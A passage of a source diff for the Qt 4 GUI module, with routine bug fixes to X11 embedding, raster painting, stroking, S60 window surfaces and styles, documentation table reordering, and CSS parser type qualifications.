+++ b/src/gui/kernel/qx11embed_x11.cpp
@@ -415,8 +415,9 @@ static Bool functor(Display *display, XEvent *event, XPointer arg)
status = XGetWindowProperty(display, data->id, ATOM(WM_STATE), 0, 2, False, ATOM(WM_STATE),
&ret, &format, &nitems, &after, &retval );
if (status == Success && ret == ATOM(WM_STATE) && format == 32 && nitems > 0) {
- long *state = (long *)retval;
- if (state[0] == WithdrawnState) {
+ long state = *(long *)retval;
+ XFree(retval);
+ if (state == WithdrawnState) {
data->clearedWmState = true;
return true;
}
@@ -833,6 +834,8 @@ bool QX11EmbedWidget::x11Event(XEvent *event)
XUnmapWindow(x11Info().display(), internalWinId());
}
}
+ if (prop_return)
+ XFree(prop_return);
}
}
diff --git a/src/gui/math3d/qgenericmatrix.h b/src/gui/math3d/qgenericmatrix.h
index d9aef20..181eda8 100644
--- a/src/gui/math3d/qgenericmatrix.h
+++ b/src/gui/math3d/qgenericmatrix.h
@@ -79,9 +79,9 @@ public:
void copyDataTo(T *values) const;
- T *data() { return m[0]; }
- const T *data() const { return m[0]; }
- const T *constData() const { return m[0]; }
+ T *data() { return *m; }
+ const T *data() const { return *m; }
+ const T *constData() const { return *m; }
#if !defined(Q_NO_TEMPLATE_FRIENDS)
template<int NN, int MM, typename TT>
diff --git a/src/gui/math3d/qmatrix4x4.h b/src/gui/math3d/qmatrix4x4.h
index 706450a..ad05116 100644
--- a/src/gui/math3d/qmatrix4x4.h
+++ b/src/gui/math3d/qmatrix4x4.h
@@ -173,8 +173,8 @@ public:
QGenericMatrix<N, M, qreal> toGenericMatrix() const;
inline qreal *data();
- inline const qreal *data() const { return m[0]; }
- inline const qreal *constData() const { return m[0]; }
+ inline const qreal *data() const { return *m; }
+ inline const qreal *constData() const { return *m; }
void optimize();
@@ -974,7 +974,7 @@ inline qreal *QMatrix4x4::data()
// We have to assume that the caller will modify the matrix elements,
// so we flip it over to "General" mode.
flagBits = General;
- return m[0];
+ return *m;
}
#ifndef QT_NO_DEBUG_STREAM
diff --git a/src/gui/painting/qbackingstore_p.h b/src/gui/painting/qbackingstore_p.h
index e2b21c3..47387ab 100644
--- a/src/gui/painting/qbackingstore_p.h
+++ b/src/gui/painting/qbackingstore_p.h
@@ -209,8 +209,9 @@ private:
{
#ifdef Q_WS_QWS
return tlw->frameGeometry();
-#endif
+#else
return tlw->data->crect;
+#endif
}
inline void appendDirtyOnScreenWidget(QWidget *widget)
diff --git a/src/gui/painting/qblendfunctions.cpp b/src/gui/painting/qblendfunctions.cpp
index dc90003..10674f8 100644
--- a/src/gui/painting/qblendfunctions.cpp
+++ b/src/gui/painting/qblendfunctions.cpp
@@ -309,7 +309,7 @@ template <typename T> void qt_blend_argb24_on_rgb16(uchar *destPixels, int dbpl,
const uchar *src = srcPixels + y * sbpl;
const uchar *srcEnd = src + srcOffset;
while (src < srcEnd) {
-#if defined(QT_ARCH_ARMV5) || defined(QT_ARCH_POWERPC) || defined(QT_ARCH_SH) || defined(QT_ARCH_AVR32) || (defined(QT_ARCH_WINDOWSCE) && !defined(_X86_)) || (defined(QT_ARCH_SPARC) && defined(Q_CC_GNU))
+#if defined(QT_ARCH_ARMV5) || defined(QT_ARCH_POWERPC) || defined(QT_ARCH_SH) || defined(QT_ARCH_AVR32) || (defined(QT_ARCH_WINDOWSCE) && !defined(_X86_)) || (defined(QT_ARCH_SPARC) && defined(Q_CC_GNU)) || (defined(QT_ARCH_INTEGRITY) && !defined(_X86_))
// non-16-bit aligned memory access is not possible on PowerPC,
// ARM <v6 (QT_ARCH_ARMV5) & SH & AVR32 & SPARC w/GCC
quint16 spix = (quint16(src[2])<<8) + src[1];
diff --git a/src/gui/painting/qbrush.cpp b/src/gui/painting/qbrush.cpp
index 5741667..811f3ae 100644
--- a/src/gui/painting/qbrush.cpp
+++ b/src/gui/painting/qbrush.cpp
@@ -1217,14 +1217,14 @@ QDataStream &operator>>(QDataStream &s, QBrush &b)
Each of the types is represented by a subclass of QGradient:
\table
- \row
- \o \inlineimage qgradient-linear.png
- \o \inlineimage qgradient-radial.png
- \o \inlineimage qgradient-conical.png
\header
\o QLinearGradient
\o QRadialGradient
\o QConicalGradient
+ \row
+ \o \inlineimage qgradient-linear.png
+ \o \inlineimage qgradient-radial.png
+ \o \inlineimage qgradient-conical.png
\endtable
The colors in a gradient are defined using stop points of the
diff --git a/src/gui/painting/qcolor.cpp b/src/gui/painting/qcolor.cpp
index dea3a72..73a6ed8 100644
--- a/src/gui/painting/qcolor.cpp
+++ b/src/gui/painting/qcolor.cpp
@@ -78,12 +78,12 @@ QT_BEGIN_NAMESPACE
names.
\table
+ \header
+ \o RGB \o HSV \o CMYK
\row
\o \inlineimage qcolor-rgb.png
\o \inlineimage qcolor-hsv.png
\o \inlineimage qcolor-cmyk.png
- \header
- \o RGB \o HSV \o CMYK
\endtable
The QColor constructor creates the color based on RGB values. To
@@ -1781,7 +1781,7 @@ QColor QColor::toHsl() const
color.ct.ahsl.lightness = qRound(lightness * USHRT_MAX);
if (qFuzzyIsNull(delta)) {
// achromatic case, hue is undefined
- color.ct.ahsl.hue = 0;
+ color.ct.ahsl.hue = USHRT_MAX;
color.ct.ahsl.saturation = 0;
} else {
// chromatic case
diff --git a/src/gui/painting/qdrawhelper.cpp b/src/gui/painting/qdrawhelper.cpp
index 9928dea..5904296 100644
--- a/src/gui/painting/qdrawhelper.cpp
+++ b/src/gui/painting/qdrawhelper.cpp
@@ -43,7 +43,9 @@
#include <private/qpaintengine_raster_p.h>
#include <private/qpainter_p.h>
#include <private/qdrawhelper_x86_p.h>
+#ifdef QT_HAVE_ARM_SIMD
#include <private/qdrawhelper_arm_simd_p.h>
+#endif
#include <private/qdrawhelper_neon_p.h>
#include <private/qmath_p.h>
#include <qmath.h>
diff --git a/src/gui/painting/qdrawhelper_arm_simd.cpp b/src/gui/painting/qdrawhelper_arm_simd.cpp
index 806df29..af9854c 100644
--- a/src/gui/painting/qdrawhelper_arm_simd.cpp
+++ b/src/gui/painting/qdrawhelper_arm_simd.cpp
@@ -201,8 +201,8 @@ argb32constalpha_next_pixel
uxtb16 r10, r9
uxtb16 r6, r9, ror #8
- // Negate r11 and extract src alpha
- mvn r9, r11 // bitwise not
+ // Negate r8 and extract src alpha
+ mvn r9, r8 // bitwise not
uxtb r9, r9, ror #24
mla r10, r9, r10, r14
diff --git a/src/gui/painting/qgraphicssystem_runtime.cpp b/src/gui/painting/qgraphicssystem_runtime.cpp
index 0294c4b..5841d40 100644
--- a/src/gui/painting/qgraphicssystem_runtime.cpp
+++ b/src/gui/painting/qgraphicssystem_runtime.cpp
@@ -285,6 +285,7 @@ void QRuntimeWindowSurface::flush(QWidget *widget, const QRegion &region,
void QRuntimeWindowSurface::setGeometry(const QRect &rect)
{
+ QWindowSurface::setGeometry(rect);
m_windowSurface->setGeometry(rect);
}
diff --git a/src/gui/painting/qpaintengine_raster.cpp b/src/gui/painting/qpaintengine_raster.cpp
index 47caa9f..9242fb6 100644
--- a/src/gui/painting/qpaintengine_raster.cpp
+++ b/src/gui/painting/qpaintengine_raster.cpp
@@ -662,19 +662,19 @@ QRasterPaintEngineState::QRasterPaintEngineState()
QRasterPaintEngineState::QRasterPaintEngineState(QRasterPaintEngineState &s)
: QPainterState(s)
+ , lastPen(s.lastPen)
+ , penData(s.penData)
, stroker(s.stroker)
+ , strokeFlags(s.strokeFlags)
, lastBrush(s.lastBrush)
, brushData(s.brushData)
- , lastPen(s.lastPen)
- , penData(s.penData)
, fillFlags(s.fillFlags)
- , strokeFlags(s.strokeFlags)
, pixmapFlags(s.pixmapFlags)
, intOpacity(s.intOpacity)
, txscale(s.txscale)
- , flag_bits(s.flag_bits)
, clip(s.clip)
, dirty(s.dirty)
+ , flag_bits(s.flag_bits)
{
brushData.tempImage = 0;
penData.tempImage = 0;
@@ -3716,6 +3716,13 @@ void QRasterPaintEnginePrivate::rasterizeLine_dashed(QLineF line,
const bool squareCap = (pen.capStyle() == Qt::SquareCap);
const QVector<qreal> pattern = pen.dashPattern();
+ qreal patternLength = 0;
+ for (int i = 0; i < pattern.size(); ++i)
+ patternLength += pattern.at(i);
+
+ if (patternLength <= 0)
+ return;
+
qreal length = line.length();
Q_ASSERT(length > 0);
while (length > 0) {
diff --git a/src/gui/painting/qpainter.cpp b/src/gui/painting/qpainter.cpp
index a5f4251..2c25e70 100644
--- a/src/gui/painting/qpainter.cpp
+++ b/src/gui/painting/qpainter.cpp
@@ -1126,14 +1126,14 @@ void QPainterPrivate::updateState(QPainterState *newState)
the range of available patterns.
\table
- \row
- \o \inlineimage qpainter-vectordeformation.png
- \o \inlineimage qpainter-gradients.png
- \o \inlineimage qpainter-pathstroking.png
\header
\o \l {demos/deform}{Vector Deformation}
\o \l {demos/gradients}{Gradients}
\o \l {demos/pathstroke}{Path Stroking}
+ \row
+ \o \inlineimage qpainter-vectordeformation.png
+ \o \inlineimage qpainter-gradients.png
+ \o \inlineimage qpainter-pathstroking.png
\endtable
@@ -1206,13 +1206,13 @@ void QPainterPrivate::updateState(QPainterState *newState)
coordinate transformations.
\table
+ \header
+ \o nop \o rotate() \o scale() \o translate()
\row
\o \inlineimage qpainter-clock.png
\o \inlineimage qpainter-rotation.png
\o \inlineimage qpainter-scale.png
\o \inlineimage qpainter-translation.png
- \header
- \o nop \o rotate() \o scale() \o translate()
\endtable
The most commonly used transformations are scaling, rotation,
diff --git a/src/gui/painting/qpainterpath.cpp b/src/gui/painting/qpainterpath.cpp
index 9f49b2f..8bff021 100644
--- a/src/gui/painting/qpainterpath.cpp
+++ b/src/gui/painting/qpainterpath.cpp
@@ -240,12 +240,12 @@ static void qt_debug_path(const QPainterPath &path)
provides two methods for filling paths:
\table
- \row
- \o \inlineimage qt-fillrule-oddeven.png
- \o \inlineimage qt-fillrule-winding.png
\header
\o Qt::OddEvenFill
\o Qt::WindingFill
+ \row
+ \o \inlineimage qt-fillrule-oddeven.png
+ \o \inlineimage qt-fillrule-winding.png
\endtable
See the Qt::FillRule documentation for the definition of the
@@ -315,12 +315,12 @@ static void qt_debug_path(const QPainterPath &path)
QPainterPath to draw text.
\table
- \row
- \o \inlineimage qpainterpath-example.png
- \o \inlineimage qpainterpath-demo.png
\header
\o \l {painting/painterpaths}{Painter Paths Example}
\o \l {demos/deform}{Vector Deformation Demo}
+ \row
+ \o \inlineimage qpainterpath-example.png
+ \o \inlineimage qpainterpath-demo.png
\endtable
\sa QPainterPathStroker, QPainter, QRegion, {Painter Paths Example}
@@ -874,7 +874,7 @@ void QPainterPath::arcTo(const QRectF &rect, qreal startAngle, qreal sweepLength
rect.x(), rect.y(), rect.width(), rect.height(), startAngle, sweepLength);
#endif
- if (!qt_is_finite(rect.x()) && !qt_is_finite(rect.y()) || !qt_is_finite(rect.width()) || !qt_is_finite(rect.height())
+ if ((!qt_is_finite(rect.x()) && !qt_is_finite(rect.y())) || !qt_is_finite(rect.width()) || !qt_is_finite(rect.height())
|| !qt_is_finite(startAngle) || !qt_is_finite(sweepLength)) {
#ifndef QT_NO_DEBUG
qWarning("QPainterPath::arcTo: Adding arc where a parameter is NaN or Inf, ignoring call");
@@ -1279,12 +1279,12 @@ Qt::FillRule QPainterPath::fillRule() const
fillRule. Qt provides two methods for filling paths:
\table
- \row
- \o \inlineimage qt-fillrule-oddeven.png
- \o \inlineimage qt-fillrule-winding.png
\header
\o Qt::OddEvenFill (default)
\o Qt::WindingFill
+ \row
+ \o \inlineimage qt-fillrule-oddeven.png
+ \o \inlineimage qt-fillrule-winding.png
\endtable
\sa fillRule()
@@ -2923,9 +2923,12 @@ QPointF QPainterPath::pointAtPercent(qreal t) const
return QPointF();
}
- if (isEmpty())
+ if (!d_ptr || d_ptr->elements.size() == 0)
return QPointF();
+ if (d_ptr->elements.size() == 1)
+ return d_ptr->elements.at(0);
+
qreal totalLength = length();
qreal curLen = 0;
qreal bezierLen = 0;
diff --git a/src/gui/painting/qstroker.cpp b/src/gui/painting/qstroker.cpp
index 80353bc..fca46b4 100644
--- a/src/gui/painting/qstroker.cpp
+++ b/src/gui/painting/qstroker.cpp
@@ -668,26 +668,28 @@ template <class Iterator> bool qt_stroke_side(Iterator *it,
#endif
QLineF line(qt_fixed_to_real(prev.x), qt_fixed_to_real(prev.y),
qt_fixed_to_real(e.x), qt_fixed_to_real(e.y));
- QLineF normal = line.normalVector();
- normal.setLength(offset);
- line.translate(normal.dx(), normal.dy());
-
- // If we are starting a new subpath, move to correct starting point.
- if (first) {
- if (capFirst)
- stroker->joinPoints(prev.x, prev.y, line, stroker->capStyleMode());
- else
- stroker->emitMoveTo(qt_real_to_fixed(line.x1()), qt_real_to_fixed(line.y1()));
- *startTangent = line;
- first = false;
- } else {
- stroker->joinPoints(prev.x, prev.y, line, stroker->joinStyleMode());
- }
+ if (line.p1() != line.p2()) {
+ QLineF normal = line.normalVector();
+ normal.setLength(offset);
+ line.translate(normal.dx(), normal.dy());
+
+ // If we are starting a new subpath, move to correct starting point.
+ if (first) {
+ if (capFirst)
+ stroker->joinPoints(prev.x, prev.y, line, stroker->capStyleMode());
+ else
+ stroker->emitMoveTo(qt_real_to_fixed(line.x1()), qt_real_to_fixed(line.y1()));
+ *startTangent = line;
+ first = false;
+ } else {
+ stroker->joinPoints(prev.x, prev.y, line, stroker->joinStyleMode());
+ }
- // Add the stroke for this line.
- stroker->emitLineTo(qt_real_to_fixed(line.x2()),
- qt_real_to_fixed(line.y2()));
- prev = e;
+ // Add the stroke for this line.
+ stroker->emitLineTo(qt_real_to_fixed(line.x2()),
+ qt_real_to_fixed(line.y2()));
+ prev = e;
+ }
// CurveToElement
} else if (e.isCurveTo()) {
diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp
index d0b9239..419518ac 100644
--- a/src/gui/painting/qwindowsurface_raster.cpp
+++ b/src/gui/painting/qwindowsurface_raster.cpp
@@ -78,6 +78,9 @@ public:
#ifdef Q_WS_X11
GC gc;
+#ifndef QT_NO_MITSHM
+ uint needsSync : 1;
+#endif
#ifndef QT_NO_XRENDER
uint translucentBackground : 1;
#endif
@@ -94,6 +97,9 @@ QRasterWindowSurface::QRasterWindowSurface(QWidget *window, bool setDefaultSurfa
d_ptr->translucentBackground = X11->use_xrender
&& window->x11Info().depth() == 32;
#endif
+#ifndef QT_NO_MITHSM
+ d_ptr->needsSync = false;
+#endif
#endif
d_ptr->image = 0;
d_ptr->inSetGeometry = false;
@@ -116,8 +122,23 @@ QPaintDevice *QRasterWindowSurface::paintDevice()
return &d_ptr->image->image;
}
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+void QRasterWindowSurface::syncX()
+{
+ // delay writing to the backbuffer until we know for sure X is done reading from it
+ if (d_ptr->needsSync) {
+ XSync(X11->display, false);
+ d_ptr->needsSync = false;
+ }
+}
+#endif
+
void QRasterWindowSurface::beginPaint(const QRegion &rgn)
{
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+ syncX();
+#endif
+
#if (defined(Q_WS_X11) && !defined(QT_NO_XRENDER)) || (defined(Q_WS_WIN) && !defined(Q_WS_WINCE))
if (!qt_widget_private(window())->isOpaque && window()->testAttribute(Qt::WA_TranslucentBackground)) {
#if defined(Q_WS_WIN) && !defined(Q_WS_WINCE)
@@ -217,13 +238,13 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi
if (d_ptr->image->xshmpm) {
XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
- XSync(X11->display, False);
+ d_ptr->needsSync = true;
} else if (d_ptr->image->xshmimg) {
const QImage &src = d->image->image;
br = br.intersected(src.rect());
XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
- XSync(X11->display, False);
+ d_ptr->needsSync = true;
} else
#endif
{
@@ -282,6 +303,7 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi
CGrafPtr port = GetWindowPort(qt_mac_window_for(widget));
QDBeginCGContext(port, &context);
#else
+ QMacCocoaAutoReleasePool pool;
extern CGContextRef qt_mac_graphicsContextFor(QWidget *);
CGContextRef context = qt_mac_graphicsContextFor(widget);
#endif
@@ -391,6 +413,10 @@ bool QRasterWindowSurface::scroll(const QRegion &area, int dx, int dy)
if (!d->image || d->image->image.isNull())
return false;
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+ syncX();
+#endif
+
const QVector<QRect> rects = area.rects();
for (int i = 0; i < rects.size(); ++i)
qt_scrollRectInImage(d->image->image, rects.at(i), QPoint(dx, dy));
diff --git a/src/gui/painting/qwindowsurface_raster_p.h b/src/gui/painting/qwindowsurface_raster_p.h
index b6e61e1..903810b 100644
--- a/src/gui/painting/qwindowsurface_raster_p.h
+++ b/src/gui/painting/qwindowsurface_raster_p.h
@@ -107,6 +107,9 @@ public:
bool scroll(const QRegion &area, int dx, int dy);
private:
+#if defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
+ void syncX();
+#endif
void prepareBuffer(QImage::Format format, QWidget *widget);
Q_DECLARE_PRIVATE(QRasterWindowSurface)
QScopedPointer<QRasterWindowSurfacePrivate> d_ptr;
diff --git a/src/gui/painting/qwindowsurface_s60.cpp b/src/gui/painting/qwindowsurface_s60.cpp
index a860818..71556d7 100644
--- a/src/gui/painting/qwindowsurface_s60.cpp
+++ b/src/gui/painting/qwindowsurface_s60.cpp
@@ -61,13 +61,11 @@ struct QS60WindowSurfacePrivate
QList<QImage*> bufferImages;
};
-QS60WindowSurface::QS60WindowSurface(QWidget* widget)
- : QWindowSurface(widget), d_ptr(new QS60WindowSurfacePrivate)
+TDisplayMode displayMode(bool opaque)
{
TDisplayMode mode = S60->screenDevice()->DisplayMode();
- bool isOpaque = qt_widget_private(widget)->isOpaque;
- if (isOpaque) {
+ if (opaque) {
mode = EColor16MU;
} else {
if (QSysInfo::symbianVersion() >= QSysInfo::SV_SF_3)
@@ -75,7 +73,13 @@ QS60WindowSurface::QS60WindowSurface(QWidget* widget)
else
mode = EColor16MA; // Symbian prior to Symbian^3 sw accelerates EColor16MA
}
+ return mode;
+}
+QS60WindowSurface::QS60WindowSurface(QWidget* widget)
+ : QWindowSurface(widget), d_ptr(new QS60WindowSurfacePrivate)
+{
+ TDisplayMode mode = displayMode(qt_widget_private(widget)->isOpaque);
// We create empty CFbsBitmap here -> it will be resized in setGeometry
CFbsBitmap *bitmap = new CFbsBitmap; // CBase derived object needs check on new
Q_CHECK_PTR(bitmap);
@@ -122,6 +126,11 @@ void QS60WindowSurface::beginPaint(const QRegion &rgn)
if (!qt_widget_private(window())->isOpaque) {
QS60PixmapData *pixmapData = static_cast<QS60PixmapData *>(d_ptr->device.data_ptr().data());
+
+ TDisplayMode mode = displayMode(false);
+ if (pixmapData->cfbsBitmap->DisplayMode() != mode)
+ pixmapData->convertToDisplayMode(mode);
+
pixmapData->beginDataAccess();
QPainter p(&pixmapData->image);
diff --git a/src/gui/s60framework/qs60mainappui.cpp b/src/gui/s60framework/qs60mainappui.cpp
index b5b8b81..0c99f80 100644
--- a/src/gui/s60framework/qs60mainappui.cpp
+++ b/src/gui/s60framework/qs60mainappui.cpp
@@ -49,6 +49,7 @@
#include <avkon.rsg>
#endif
#include <barsread.h>
+#include <coeutils.h>
#include <qconfig.h>
#include "qs60mainappui.h"
@@ -401,6 +402,16 @@ void QS60MainAppUi::HandleForegroundEventL(TBool aForeground)
QS60MainAppUiBase::HandleForegroundEventL(aForeground);
}
+/*!
+ \internal
+*/
+TBool QS60MainAppUi::ProcessCommandParametersL(TApaCommand /*aCommand*/, TFileName &/*aDocumentName*/, const TDesC8 &/*aTail*/)
+{
+ // bypass CEikAppUi::ProcessCommandParametersL(..) which modifies aDocumentName, preventing apparc document opening from working.
+ // The return value is effectively unused in Qt apps (see QS60MainDocument::OpenFileL)
+ return EFalse;
+}
+
#ifndef Q_WS_S60
void QS60StubAknAppUi::HandleViewDeactivation(const TVwsViewId &, const TVwsViewId &) {}
diff --git a/src/gui/s60framework/qs60mainappui.h b/src/gui/s60framework/qs60mainappui.h
index ce3b5b0..bf118ff 100644
--- a/src/gui/s60framework/qs60mainappui.h
+++ b/src/gui/s60framework/qs60mainappui.h
@@ -131,6 +131,7 @@ public:
virtual void HandleViewDeactivation(const TVwsViewId &aViewIdToBeDeactivated, const TVwsViewId &aNewlyActivatedViewId);
virtual void PrepareToExit();
virtual void HandleTouchPaneSizeChange();
+ virtual TBool ProcessCommandParametersL(TApaCommand aCommand, TFileName &aDocumentName, const TDesC8 &aTail);
protected:
virtual void HandleScreenDeviceChangedL();
diff --git a/src/gui/s60framework/qs60maindocument.cpp b/src/gui/s60framework/qs60maindocument.cpp
index a8886ac..37bd55f 100644
--- a/src/gui/s60framework/qs60maindocument.cpp
+++ b/src/gui/s60framework/qs60maindocument.cpp
@@ -41,6 +41,9 @@
#include "qs60mainappui.h"
#include "qs60maindocument.h"
+#include "qcoreapplication.h"
+#include "qevent.h"
+#include "private/qcore_symbian_p.h"
#include <exception>
@@ -108,9 +111,15 @@ CEikAppUi *QS60MainDocument::CreateAppUiL()
/*!
\internal
*/
-CFileStore *QS60MainDocument::OpenFileL(TBool aDoOpen, const TDesC &aFilename, RFs &aFs)
+CFileStore *QS60MainDocument::OpenFileL(TBool /*aDoOpen*/, const TDesC &aFilename, RFs &/*aFs*/)
{
- return QS60MainDocumentBase::OpenFileL(aDoOpen, aFilename, aFs);
+ QT_TRYCATCH_LEAVING( {
+ QCoreApplication* app = QCoreApplication::instance();
+ QString qname = qt_TDesC2QString(aFilename);
+ QFileOpenEvent* event = new QFileOpenEvent(qname);
+ app->postEvent(app, event);
+ })
+ return 0;
}
/*!
@@ -118,7 +127,12 @@ CFileStore *QS60MainDocument::OpenFileL(TBool aDoOpen, const TDesC &aFilename, R
*/
void QS60MainDocument::OpenFileL(CFileStore *&aFileStore, RFile &aFile)
{
- QS60MainDocumentBase::OpenFileL(aFileStore, aFile);
+ QT_TRYCATCH_LEAVING( {
+ QCoreApplication* app = QCoreApplication::instance();
+ QFileOpenEvent* event = new QFileOpenEvent(aFile);
+ app->postEvent(app, event);
+ aFileStore = 0;
+ })
}
QT_END_NAMESPACE
diff --git a/src/gui/statemachine/qguistatemachine.cpp b/src/gui/statemachine/qguistatemachine.cpp
index eadb8ff..2a0de3c 100644
--- a/src/gui/statemachine/qguistatemachine.cpp
+++ b/src/gui/statemachine/qguistatemachine.cpp
@@ -404,6 +404,7 @@ static QEvent *cloneEvent(QEvent *e)
we2->setButtons(we->buttons());
we2->setModifiers(we->modifiers());
we2->setOrientation(we->orientation());
+ we2->setDelta(we->delta());
return we2;
}
#endif
diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp
index c5e95f2e..ecc2539 100644
--- a/src/gui/styles/qs60style.cpp
+++ b/src/gui/styles/qs60style.cpp
@@ -96,7 +96,8 @@ const layoutHeader QS60StylePrivate::m_layoutHeaders[] = {
{320,240,1,19,"QVGA Portrait"},
{360,640,1,19,"NHD Landscape"},
{640,360,1,19,"NHD Portrait"},
-{352,800,1,12,"E90 Landscape"}
+{352,800,1,12,"E90 Landscape"},
+{480,640,1,19,"VGA Landscape"}
// *** End of generated data ***
};
const int QS60StylePrivate::m_numberOfLayouts =
@@ -108,7 +109,8 @@ const short QS60StylePrivate::data[][MAX_PIXELMETRICS] = {
{5,0,-909,0,0,1,0,2,-1,8,14,22,15,15,7,164,-909,-909,-909,19,15,2,0,0,21,8,27,28,4,4,1,-909,-909,0,7,6,0,13,23,17,17,21,21,7,115,21,0,-909,-909,-909,-909,0,0,15,1,-909,0,0,-909,15,-909,-909,-909,-909,32,21,65,27,65,3,3,5,10,15,-909,5,58,13,5,0,4,4,7,9,4,4,-909,2,-909,-909,-909,-909,6,6,3,1,106},
{7,0,-909,0,0,2,0,5,-1,25,69,46,37,37,9,258,-909,-909,-909,23,19,26,0,0,32,25,72,44,5,5,2,-909,-909,0,7,21,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,25,2,-909,0,0,-909,25,-909,-909,-909,-909,87,27,77,35,77,13,3,6,8,19,-909,7,74,19,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135},
{7,0,-909,0,0,2,0,5,-1,25,68,46,37,37,9,258,-909,-909,-909,31,19,6,0,0,32,25,60,52,5,5,2,-909,-909,0,7,32,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,26,2,-909,0,0,-909,26,-909,-909,-909,-909,87,27,96,35,96,12,3,6,8,19,-909,7,74,22,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135},
-{7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106}
+{7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106},
+{9,0,-909,0,0,2,0,5,-1,34,99,76,51,51,25,352,-909,-909,-909,29,25,7,0,0,43,34,42,76,7,7,2,-909,-909,0,9,14,0,23,39,30,30,37,37,9,391,40,0,-909,-909,-909,-909,0,0,29,2,-909,0,0,-909,29,-909,-909,-909,-909,115,37,96,48,96,19,19,9,1,25,-909,9,101,24,9,0,7,7,7,16,7,7,-909,3,-909,-909,-909,-909,9,9,3,1,184}
// *** End of generated data ***
};
diff --git a/src/gui/styles/qs60style_s60.cpp b/src/gui/styles/qs60style_s60.cpp
index 04c40aa..605872e 100644
--- a/src/gui/styles/qs60style_s60.cpp
+++ b/src/gui/styles/qs60style_s60.cpp
@@ -1378,12 +1378,13 @@ QPixmap QS60StylePrivate::frame(SkinFrameElements frame, const QSize &size, Skin
QPixmap QS60StylePrivate::backgroundTexture()
{
bool createNewBackground = false;
+ TRect applicationRect = (static_cast<CEikAppUi*>(S60->appUi())->ApplicationRect());
if (!m_background) {
createNewBackground = true;
} else {
//if background brush does not match screensize, re-create it
- if (m_background->width() != S60->screenWidthInPixels ||
- m_background->height() != S60->screenHeightInPixels) {
+ if (m_background->width() != applicationRect.Width() ||
+ m_background->height() != applicationRect.Height()) {
delete m_background;
createNewBackground = true;
}
@@ -1391,7 +1392,7 @@ QPixmap QS60StylePrivate::backgroundTexture()
if (createNewBackground) {
QPixmap background = part(QS60StyleEnums::SP_QsnBgScreen,
- QSize(S60->screenWidthInPixels, S60->screenHeightInPixels), 0, SkinElementFlags());
+ QSize(applicationRect.Width(), applicationRect.Height()), 0, SkinElementFlags());
m_background = new QPixmap(background);
}
return *m_background;
@@ -1411,7 +1412,6 @@ QS60Style::QS60Style()
void QS60StylePrivate::handleDynamicLayoutVariantSwitch()
{
clearCaches(QS60StylePrivate::CC_LayoutChange);
- setBackgroundTexture(qApp);
setActiveLayout();
refreshUI();
foreach (QWidget *widget, QApplication::allWidgets())
diff --git a/src/gui/styles/qstylesheetstyle.cpp b/src/gui/styles/qstylesheetstyle.cpp
index 4b591e2..ecf924c 100644
--- a/src/gui/styles/qstylesheetstyle.cpp
+++ b/src/gui/styles/qstylesheetstyle.cpp
@@ -4238,7 +4238,7 @@ void QStyleSheetStyle::drawPrimitive(PrimitiveElement pe, const QStyleOption *op
return;
case PE_Widget:
- if (!rule.hasDrawable()) {
+ if (w && !rule.hasDrawable()) {
QWidget *container = containerWidget(w);
if (styleSheetCaches->autoFillDisabledWidgets.contains(container)
&& (container == w || !renderRule(container, opt).hasBackground())) {
diff --git a/src/gui/styles/qstylesheetstyle_default.cpp b/src/gui/styles/qstylesheetstyle_default.cpp
index 002dcff..76ffac8 100644
--- a/src/gui/styles/qstylesheetstyle_default.cpp
+++ b/src/gui/styles/qstylesheetstyle_default.cpp
@@ -151,7 +151,7 @@ StyleSheet QStyleSheetStyle::getDefaultStyleSheet() const
BasicSelector bSelector;
Selector selector;
Declaration decl;
- Value value;
+ QCss::Value value;
Pseudo pseudo;
AttributeSelector attr;
diff --git a/src/gui/text/qcssparser.cpp b/src/gui/text/qcssparser.cpp
index 54ca7cc..052dc72 100644
--- a/src/gui/text/qcssparser.cpp
+++ b/src/gui/text/qcssparser.cpp
@@ -649,7 +649,7 @@ bool ValueExtractor::extractOutline(int *borders, QBrush *colors, BorderStyle *s
return hit;
}
-static Qt::Alignment parseAlignment(const Value *values, int count)
+static Qt::Alignment parseAlignment(const QCss::Value *values, int count)
{
Qt::Alignment a[2] = { 0, 0 };
for (int i = 0; i < qMin(2, count); i++) {
@@ -672,7 +672,7 @@ static Qt::Alignment parseAlignment(const Value *values, int count)
return a[0] | a[1];
}
-static ColorData parseColorValue(Value v)
+static ColorData parseColorValue(QCss::Value v)
{
if (v.type == Value::Identifier || v.type == Value::String) {
v.variant.convert(QVariant::Color);
@@ -706,7 +706,7 @@ static ColorData parseColorValue(Value v)
if (!p.testExpr())
return ColorData();
- QVector<Value> colorDigits;
+ QVector<QCss::Value> colorDigits;
if (!p.parseExpr(&colorDigits))
